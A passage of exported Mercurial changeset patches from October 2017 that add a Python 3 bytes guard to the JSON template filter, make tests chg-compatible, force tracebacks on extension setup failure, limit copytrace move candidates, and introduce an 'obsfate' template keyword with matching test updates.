-  remote: prepushkey hook: HG_BUNDLE2=1 HG_HOOKNAME=prepushkey HG_HOOKTYPE=prepushkey HG_KEY=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NAMESPACE=phases HG_NEW=0 HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_OLD=1 HG_PENDING=$TESTTMP/test HG_PHASES_MOVED=1 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
   repository tip rolled back to revision 0 (undo serve)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508208283 14400
#      Mon Oct 16 22:44:43 2017 -0400
# Node ID 4fdc4adbc838e14516d3df8cd21f6212bf159d9a
# Parent  537de0b14030868e3e850ae388b08f88cabc88e8
templatefilters: defend against evil unicode strs in json filter

We only want to do I/O in terms of bytes, so lets explode early
instead of recursing forever.

Differential Revision: https://phab.mercurial-scm.org/D1136

diff --git a/mercurial/templatefilters.py b/mercurial/templatefilters.py
--- a/mercurial/templatefilters.py
+++ b/mercurial/templatefilters.py
@@ -13,6 +13,7 @@
 
 from . import (
     encoding,
+    error,
     hbisect,
     node,
     pycompat,
@@ -233,6 +234,13 @@
         return pycompat.bytestr(obj)
     elif isinstance(obj, bytes):
         return '"%s"' % encoding.jsonescape(obj, paranoid=paranoid)
+    elif isinstance(obj, str):
+        # This branch is unreachable on Python 2, because bytes == str
+        # and we'll return in the next-earlier block in the elif
+        # ladder. On Python 3, this helps us catch bugs before they
+        # hurt someone.
+        raise error.ProgrammingError(
+            'Mercurial only does output with bytes on Python 3: %r' % obj)
     elif util.safehasattr(obj, 'keys'):
         out = ['"%s": %s' % (encoding.jsonescape(k, paranoid=paranoid),
                              json(v, paranoid))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508251903 14400
#      Tue Oct 17 10:51:43 2017 -0400
# Node ID d3ea6a1c798faabcd4894adccc3dad4392c54993
# Parent  4fdc4adbc838e14516d3df8cd21f6212bf159d9a
templater: use pycompat.sysbytes to bytes-ify some __name__ attrs

Spotted by yuya in review of e87e62b7fc0b.

Differential Revision: https://phab.mercurial-scm.org/D1145

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -427,9 +427,10 @@
         sym = findsymbolicname(arg)
         if sym:
             msg = (_("template filter '%s' is not compatible with keyword '%s'")
-                   % (filt.__name__.encode('ascii'), sym))
+                   % (pycompat.sysbytes(filt.__name__), sym))
         else:
-            msg = _("incompatible use of template filter '%s'") % filt.__name__
+            msg = (_("incompatible use of template filter '%s'")
+                   % pycompat.sysbytes(filt.__name__))
         raise error.Abort(msg)
 
 def buildmap(exp, context):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1508262116 25200
#      Tue Oct 17 10:41:56 2017 -0700
# Node ID 110040e715c9cdeed0f4efe3ea515a66f913c044
# Parent  d3ea6a1c798faabcd4894adccc3dad4392c54993
test-show: make it compatible with chg

The show extension reads `commands.show.aliasprefix` config in its
`extsetup` and that causes issues with chg. This patch adds that config item
to chg confighash to solve the issue.

Test Plan:
`run-tests.py -l --chg test-show.t`

Differential Revision: https://phab.mercurial-scm.org/D1158

diff --git a/mercurial/chgserver.py b/mercurial/chgserver.py
--- a/mercurial/chgserver.py
+++ b/mercurial/chgserver.py
@@ -73,6 +73,10 @@
     'extensions',
 ]
 
+_configsectionitems = [
+    ('commands', 'show.aliasprefix'), # show.py reads it in extsetup
+]
+
 # sensitive environment variables affecting confighash
 _envre = re.compile(r'''\A(?:
                     CHGHG
@@ -101,6 +105,8 @@
     sectionitems = []
     for section in _configsections:
         sectionitems.append(ui.configitems(section))
+    for section, item in _configsectionitems:
+        sectionitems.append(ui.config(section, item))
     sectionhash = _hashlist(sectionitems)
     envitems = [(k, v) for k, v in encoding.environ.iteritems()
                 if _envre.match(k)]
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508265358 25200
#      Tue Oct 17 11:35:58 2017 -0700
# Node ID 88624b40a9cba2592e834fe65e512ecb625578e1
# Parent  110040e715c9cdeed0f4efe3ea515a66f913c044
hghave: disable demandimport when chg is running

Chg disables demandimport on purpose for performance wins and
therefore, it probably makes sense to indicate that demandimport is disabled
when chg is running.

Test Plan:
Ran all the tests.

Differential Revision: https://phab.mercurial-scm.org/D1161

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -601,7 +601,8 @@
 
 @check("demandimport", "demandimport enabled")
 def has_demandimport():
-    return os.environ.get('HGDEMANDIMPORT') != 'disable'
+    # chg disables demandimport intentionally for performance wins.
+    return ((not has_chg()) and os.environ.get('HGDEMANDIMPORT') != 'disable')
 
 @check("py3k", "running with Python 3.x")
 def has_py3k():
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508263638 25200
#      Tue Oct 17 11:07:18 2017 -0700
# Node ID 6bfe43dd20ebfbec7144f18f1a63fd474e5df7bc
# Parent  88624b40a9cba2592e834fe65e512ecb625578e1
test-extension: make the test compatible with chg

This test fails when run with chg. This commit just makes the test chg
aware by fixing the output of some of the tests.

Test Plan:
Ran the test 'test-extension.t' with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1160

diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -42,11 +42,13 @@
   uisetup called
   reposetup called for a
   ui == repo.ui
+  reposetup called for a (chg !)
+  ui == repo.ui (chg !)
   Foo
 
   $ cd ..
   $ hg clone a b
-  uisetup called
+  uisetup called (no-chg !)
   reposetup called for a
   ui == repo.ui
   reposetup called for b
@@ -55,7 +57,7 @@
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg bar
-  uisetup called
+  uisetup called (no-chg !)
   Bar
   $ echo 'foobar = !' >> $HGRCPATH
 
@@ -67,6 +69,8 @@
   uisetup called
   reposetup called for a
   ui == repo.ui
+  reposetup called for a (chg !)
+  ui == repo.ui (chg !)
   Foo
   $ echo 'barfoo = !' >> $HGRCPATH
 
@@ -1525,6 +1529,7 @@
   $ echo "reposetuptest = $TESTTMP/reposetuptest.py" >> src/.hg/hgrc
   $ hg -R src status
   reposetup() for $TESTTMP/reposetup-test/src (glob)
+  reposetup() for $TESTTMP/reposetup-test/src (glob) (chg !)
 
   $ hg clone -U src clone-dst1
   reposetup() for $TESTTMP/reposetup-test/src (glob)
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508261607 25200
#      Tue Oct 17 10:33:27 2017 -0700
# Node ID 8bce3e51b101a7e3439d03e031e6f9b2e401bdb6
# Parent  6bfe43dd20ebfbec7144f18f1a63fd474e5df7bc
run-tests: move newline out of colorized message

The leading newline before "ERROR:" led to an incorrect lexing of the
message and the newline got lost.

The fixed formatting can be seen in the test case. The reason we
didn't notice before was that the bad formatting just led to the loss
of a blank line in the test. However, there are other cases where it
would be joined with a line saying "Accept this change? [n]" or
"Reference output has changed (run again to prompt changes)".

Differential Revision: https://phab.mercurial-scm.org/D1159

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1663,7 +1663,9 @@
                     self.stream.write('t')
                 else:
                     if not self._options.nodiff:
-                        formatted = '\nERROR: %s output changed\n' % test
+                        self.stream.write('\n')
+                        # Exclude the '\n' from highlighting to lex correctly
+                        formatted = 'ERROR: %s output changed\n' % test
                         self.stream.write(highlightmsg(formatted, self.color))
                     self.stream.write('!')
 
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -131,6 +131,7 @@
   \x1b[38;5;34m+  bar*baz (glob)\x1b[39m (esc)
      bar*bad (glob)
   \x1b[38;5;124m-  bar*baz (glob)\x1b[39m (esc)
+  
   \x1b[38;5;88mERROR: \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m output changed\x1b[39m (esc)
   !
   \x1b[38;5;88mFailed \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m: output changed\x1b[39m (esc)
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508258791 25200
#      Tue Oct 17 09:46:31 2017 -0700
# Node ID df871c41bd00d9232c142a1a95e20a299c8cd36e
# Parent  8bce3e51b101a7e3439d03e031e6f9b2e401bdb6
tests: make test-extension.t's baduisetup.py test fail even if bdiff exists

A mercurial.bdiff module has existed at some point and when I have
built at an old version, some .pyc file or something seems to stick
around and test-extension.t fails. Let's remove the reference to bdiff
and simplify the test.

Differential Revision: https://phab.mercurial-scm.org/D1162

diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -516,21 +516,13 @@
 
 Make sure a broken uisetup doesn't globally break hg:
   $ cat > $TESTTMP/baduisetup.py <<EOF
-  > from mercurial import (
-  >     bdiff,
-  >     extensions,
-  > )
-  > 
-  > def blockswrapper(orig, *args, **kwargs):
-  >     return orig(*args, **kwargs)
-  > 
   > def uisetup(ui):
-  >     extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
+  >     1/0
   > EOF
 
 Even though the extension fails during uisetup, hg is still basically usable:
   $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
+  *** failed to set up extension baduisetup: integer division or modulo by zero
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
@@ -542,18 +534,10 @@
   Traceback (most recent call last):
     File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
       uisetup(ui)
-    File "$TESTTMP/baduisetup.py", line 10, in uisetup
-      extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
-    File "*/mercurial/extensions.py", line *, in wrapfunction (glob)
-      origfn = getattr(container, funcname)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in __getattr__ (glob)
-      self._load()
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _load (glob)
-      mod = _hgextimport(_origimport, head, globals, locals, None, level)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
-      return importfunc(name, globals, *args, **kwargs)
-  ImportError: No module named (mercurial\.)?bdiff (re)
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
+    File "$TESTTMP/baduisetup.py", line 2, in uisetup
+      1/0
+  ZeroDivisionError: integer division or modulo by zero
+  *** failed to set up extension baduisetup: integer division or modulo by zero
   Mercurial Distributed SCM (version *) (glob)
   (see https://mercurial-scm.org for more information)
   
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508261132 25200
#      Tue Oct 17 10:25:32 2017 -0700
# Node ID f0a62afd1e40b2309b56a60986066f7bb23c6a99
# Parent  df871c41bd00d9232c142a1a95e20a299c8cd36e
tests: move baduisetup() test out of "#if demandimport"

It no longer depends on demandimport.

Differential Revision: https://phab.mercurial-scm.org/D1163

diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -514,6 +514,8 @@
 
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}; hg --config extensions.checkrelativity=$TESTTMP/checkrelativity.py checkrelativity)
 
+#endif
+
 Make sure a broken uisetup doesn't globally break hg:
   $ cat > $TESTTMP/baduisetup.py <<EOF
   > def uisetup(ui):
@@ -545,8 +547,6 @@
   This is free software; see the source for copying conditions. There is NO
   warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 
-#endif
-
   $ cd ..
 
 hide outer repo
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1508261504 25200
#      Tue Oct 17 10:31:44 2017 -0700
# Node ID 78d9a7b7cdb62227e852bc29a1687aca0a85de9c
# Parent  f0a62afd1e40b2309b56a60986066f7bb23c6a99
extensions: always include traceback when extension setup fails

I have spent a lot of time debugging extensions that failed to load
because we don't include a traceback and I didn't realize I could get
traceback for the extension failure with --traceback. Let's just turn
them on by default, since it should be rare that the user sees these
tracebacks anyway (and if they do, it's not so bad if the extra
traceback pushes them a little harder to report the problem).

Since we already had a test case with --traceback and one without, I
just removed the one with the flag.

Differential Revision: https://phab.mercurial-scm.org/D1164

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -182,7 +182,7 @@
         try:
             uisetup(ui)
         except Exception as inst:
-            ui.traceback()
+            ui.traceback(force=True)
             msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
@@ -203,7 +203,7 @@
                     raise
                 extsetup() # old extsetup with no ui argument
         except Exception as inst:
-            ui.traceback()
+            ui.traceback(force=True)
             msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -524,15 +524,6 @@
 
 Even though the extension fails during uisetup, hg is still basically usable:
   $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version
-  *** failed to set up extension baduisetup: integer division or modulo by zero
-  Mercurial Distributed SCM (version *) (glob)
-  (see https://mercurial-scm.org for more information)
-  
-  Copyright (C) 2005-2017 Matt Mackall and others
-  This is free software; see the source for copying conditions. There is NO
-  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-  $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version --traceback
   Traceback (most recent call last):
     File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
       uisetup(ui)
diff --git a/tests/test-flagprocessor.t b/tests/test-flagprocessor.t
--- a/tests/test-flagprocessor.t
+++ b/tests/test-flagprocessor.t
@@ -162,8 +162,18 @@
   > duplicate=$TESTDIR/flagprocessorext.py
   > EOF
   $ hg debugrebuilddirstate
+  Traceback (most recent call last):
+    File "*/mercurial/extensions.py", line *, in _runextsetup (glob)
+      extsetup(ui)
+    File "*/tests/flagprocessorext.py", line *, in extsetup (glob)
+      validatehash,
+    File "*/mercurial/revlog.py", line *, in addflagprocessor (glob)
+      raise error.Abort(msg)
+  Abort: cannot register multiple processors on flag '0x8'.
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
   $ hg st 2>&1 | egrep 'cannot register multiple processors|flagprocessorext'
+    File "*/tests/flagprocessorext.py", line *, in extsetup (glob)
+  Abort: cannot register multiple processors on flag '0x8'.
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
     File "*/tests/flagprocessorext.py", line *, in b64decode (glob)
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1507582503 -19800
#      Tue Oct 10 02:25:03 2017 +0530
# Node ID f05a6e015eccd165098be407a5f0ea61aa83bb09
# Parent  78d9a7b7cdb62227e852bc29a1687aca0a85de9c
copies: add a config to limit the number of candidates to check in heuristics

The heuristics algorithm find possible candidates for move/copy and then check
whether they are actually a copy or move. In some cases, there can be lot of
candidates possible which can actually slow down the algorithm.

This patch introduces a config option
`experimental.copytrace.movecandidateslimit` using which one can limit the
candidates to check. The limit defaults to 100.

Thanks to Yuya for suggesting to skip copytracing for that file with a
warning.

Differential Revision: https://phab.mercurial-scm.org/D987

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -330,6 +330,9 @@
 coreconfigitem('experimental', 'copytrace',
     default='on',
 )
+coreconfigitem('experimental', 'copytrace.movecandidateslimit',
+    default=100,
+)
 coreconfigitem('experimental', 'copytrace.sourcecommitlimit',
     default=100,
 )
diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -11,6 +11,8 @@
 import heapq
 import os
 
+from .i18n import _
+
 from . import (
     match as matchmod,
     node,
@@ -644,6 +646,11 @@
 
         [experimental]
         copytrace = heuristics
+
+    In some cases the copy/move candidates found by heuristics can be very large
+    in number and that will make the algorithm slow. The number of possible
+    candidates to check can be limited by using the config
+    `experimental.copytrace.movecandidateslimit` which defaults to 100.
     """
 
     if c1.rev() is None:
@@ -704,6 +711,17 @@
             # f is guaranteed to be present in c2, that's why
             # c2.filectx(f) won't fail
             f2 = c2.filectx(f)
+            # we can have a lot of candidates which can slow down the heuristics
+            # config value to limit the number of candidates moves to check
+            maxcandidates = repo.ui.configint('experimental',
+                                              'copytrace.movecandidateslimit')
+
+            if len(movecandidates) > maxcandidates:
+                repo.ui.status(_("skipping copytracing for '%s', more "
+                                 "candidates than the limit: %d\n")
+                               % (f, len(movecandidates)))
+                continue
+
             for candidate in movecandidates:
                 f1 = c1.filectx(candidate)
                 if _related(f1, f2, anc.rev()):
diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
--- a/tests/test-copytrace-heuristics.t
+++ b/tests/test-copytrace-heuristics.t
@@ -201,6 +201,65 @@
   $ cd ..
   $ rm -rf repo
 
+Test the copytrace.movecandidateslimit with many move candidates
+----------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a foo
+  $ echo a > b
+  $ echo a > c
+  $ echo a > d
+  $ echo a > e
+  $ echo a > f
+  $ echo a > g
+  $ hg add b
+  $ hg add c
+  $ hg add d
+  $ hg add e
+  $ hg add f
+  $ hg add g
+  $ hg ci -m 'mv a foo, add many files'
+  $ hg up -q ".^"
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a
+  | o  changeset: 8329d5c6bf479ec5ca59b9864f3f45d07213f5a4
+  |/    desc: mv a foo, add many files
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+With small limit
+
+  $ hg rebase -s 2 -d 1 --config experimental.copytrace.movecandidateslimit=0
+  rebasing 2:ef716627c70b "mod a" (tip)
+  skipping copytracing for 'a', more candidates than the limit: 7
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg rebase --abort
+  rebase aborted
+
+With default limit which is 100
+
+  $ hg rebase -s 2 -d 1
+  rebasing 2:ef716627c70b "mod a" (tip)
+  merging foo and a to foo
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf repo
+
 Move file in one branch and delete it in another
 -----------------------------------------------
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507218176 -7200
#      Thu Oct 05 17:42:56 2017 +0200
# Node ID e27f1f04c2cfd79cc2f4ce5d097011abdb5eb6de
# Parent  f05a6e015eccd165098be407a5f0ea61aa83bb09
templatekw: introduce obsfate keyword

Introduce an obsfate printer that uses all helpers functions defined in
obsutil to get all the obsfate-related data and format a string according to
the current format in test-obsmarker-template.t.

Then, introduce an obsfate templatekw that uses the obsfateprinter to return a
list of strings.

The goal is not to replace existing obsfate template functions but to propose
a default, good-enough and easily usable obsfate definition for end-users that
don't want to customize it. Such output would ultimately get included in the
default log output.

Here are some output examples for a commit amended:

rewritten using amend as 5:a9b1f8652753 by test (at 1970-01-01 00:00 +0000)

Next patches will make the output dependent on the verbosity.

Exemple of use-cases:

For having the obsfate on a single-line between brackets:

  {if(obsfate, " [{join(obsfate, "; ")}]")}

For having the obsfate in several lines:

  {if(obsfate, "{obsfate % "  Obsfate: {fate}\n"}")}

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -783,3 +783,44 @@
                      if meta.get('operation'))
 
     return sorted(operations)
+
+def obsfateprinter(successors, markers, ui):
+    """ Build a obsfate string for a single successorset using all obsfate
+    related function defined in obsutil
+    """
+    line = []
+
+    # Verb
+    line.append(successorsetverb(successors))
+
+    # Operations
+    operations = markersoperations(markers)
+    if operations:
+        line.append(" using %s" % ", ".join(operations))
+
+    # Successors
+    if successors:
+        fmtsuccessors = [successors.joinfmt(succ) for succ in successors]
+        line.append(" as %s" % ", ".join(fmtsuccessors))
+
+    # Users
+    users = markersusers(markers)
+
+    if users:
+        line.append(" by %s" % ", ".join(users))
+
+    # Date
+    dates = markersdates(markers)
+
+    min_date = min(dates)
+    max_date = max(dates)
+
+    if min_date == max_date:
+        fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+        line.append(" (at %s)" % fmtmin_date)
+    else:
+        fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+        fmtmax_date = util.datestr(max_date, '%Y-%m-%d %H:%M %1%2')
+        line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date))
+
+    return "".join(line)
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -600,6 +600,23 @@
     # rev and node are completely different from changeset's.
     return _mappable(f, None, f, lambda x: {'rev': mrev, 'node': mhex})
 
+@templatekeyword('obsfate')
+def showobsfate(**args):
+    # this function returns a list containing pre-formatted obsfate strings.
+    #
+    # This function will be replaced by templates fragments when we will have
+    # the verbosity templatekw available.
+    succsandmarkers = showsuccsandmarkers(**args)
+
+    ui = args['ui']
+
+    values = []
+
+    for x in succsandmarkers:
+        values.append(obsutil.obsfateprinter(x['successors'], x['markers'], ui))
+
+    return showlist("fate", values, args)
+
 def shownames(namespace, **args):
     """helper method to generate a template keyword for a namespace"""
     args = pycompat.byteskwargs(args)
diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
--- a/tests/test-obsolete-distributed.t
+++ b/tests/test-obsolete-distributed.t
@@ -16,15 +16,8 @@
   > evolution = all
   > [phases]
   > publish = False
-  > [templates]
-  > obsfatesuccessors = "{if(successors, " as ")}{join(successors, ", ")}"
-  > obsfateverb = "{obsfateverb(successors)}"
-  > obsfateoperations = "{if(obsfateoperations(markers), " using {join(obsfateoperations(markers), ", ")}")}"
-  > obsfateusers = "{if(obsfateusers(markers), " by {join(obsfateusers(markers), ", ")}")}"
-  > obsfatedate = "{if(obsfatedate(markers), "{ifeq(min(obsfatedate(markers)), max(obsfatedate(markers)), " (at {min(obsfatedate(markers))|isodate})", " (between {min(obsfatedate(markers))|isodate} and {max(obsfatedate(markers))|isodate})")}")}"
-  > obsfate = "{obsfateverb}{obsfateoperations}{obsfatesuccessors}{obsfateusers}{obsfatedate}; "
   > [ui]
-  > logtemplate= {rev}:{node|short} {desc} {if(succsandmarkers, "[{succsandmarkers % "{obsfate}"}]")}\n
+  > logtemplate= {rev}:{node|short} {desc}{if(obsfate, " [{join(obsfate, "; ")}]")}\n
   > EOF
 
 Check distributed chain building
@@ -63,7 +56,7 @@
   |
   | o  2:7f6b0a6f5c25 c_A1
   |/
-  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -100,11 +93,11 @@
   $ hg log -G --hidden
   @  4:391a2bf12b1b c_B1
   |
-  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
   |/
   | o  2:7f6b0a6f5c25 c_A1
   |/
-  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -127,9 +120,9 @@
   $ hg log -G --hidden
   @  3:e5d7dda7cd28 c_B0
   |
-  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -161,11 +154,11 @@
   $ hg log -G --hidden
   o  4:391a2bf12b1b c_B1
   |
-  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
   |/
   @  0:e82fb8d02bbf ROOT
   
@@ -197,11 +190,11 @@
   $ hg -R ../server/ log -G --hidden
   @  4:391a2bf12b1b c_B1
   |
-  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000); ]
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000); ]
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000); ]
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -298,13 +291,13 @@
   $ hg log -G --hidden
   @  5:956063ac4557 c_B1
   |
-  | x  4:5ffb9e311b35 c_B0 [rewritten using amend as 5:956063ac4557 by bob (at 1970-01-01 00:00 +0000); ]
+  | x  4:5ffb9e311b35 c_B0 [rewritten using amend as 5:956063ac4557 by bob (at 1970-01-01 00:00 +0000)]
   |/
   o  3:5b5708a437f2 c_A1
   |
-  | x  2:ef908e42ce65 c_B0 [rewritten using rebase as 4:5ffb9e311b35 by bob (at 1970-01-01 00:00 +0000); ]
+  | x  2:ef908e42ce65 c_B0 [rewritten using rebase as 4:5ffb9e311b35 by bob (at 1970-01-01 00:00 +0000)]
   | |
-  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 3:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000); ]
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 3:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -345,13 +338,13 @@
   $ hg log -G --hidden
   @  5:77ae25d99ff0 c_B2
   |
-  | x  4:3cf8de21cc22 c_B1 [rewritten using amend as 5:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000); ]
+  | x  4:3cf8de21cc22 c_B1 [rewritten using amend as 5:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
   |/
   o  3:9866d64649a5 c_A2
   |
-  | x  2:956063ac4557 c_B1 [rewritten using rebase as 4:3cf8de21cc22 by celeste (at 1970-01-01 00:00 +0000); ]
+  | x  2:956063ac4557 c_B1 [rewritten using rebase as 4:3cf8de21cc22 by celeste (at 1970-01-01 00:00 +0000)]
   | |
-  | x  1:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000); ]
+  | x  1:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000)]
   |/
   o  0:e82fb8d02bbf ROOT
   
@@ -469,17 +462,17 @@
   @  0:e82fb8d02bbf ROOT
   
   $ hg log -G --hidden
-  x  6:956063ac4557 c_B1 [rewritten using amend, rebase as 4:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000); ]
+  x  6:956063ac4557 c_B1 [rewritten using amend, rebase as 4:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
   |
-  x  5:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000); ]
+  x  5:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000)]
   |
   | o  4:77ae25d99ff0 c_B2
   | |
   | o  3:9866d64649a5 c_A2
   |/
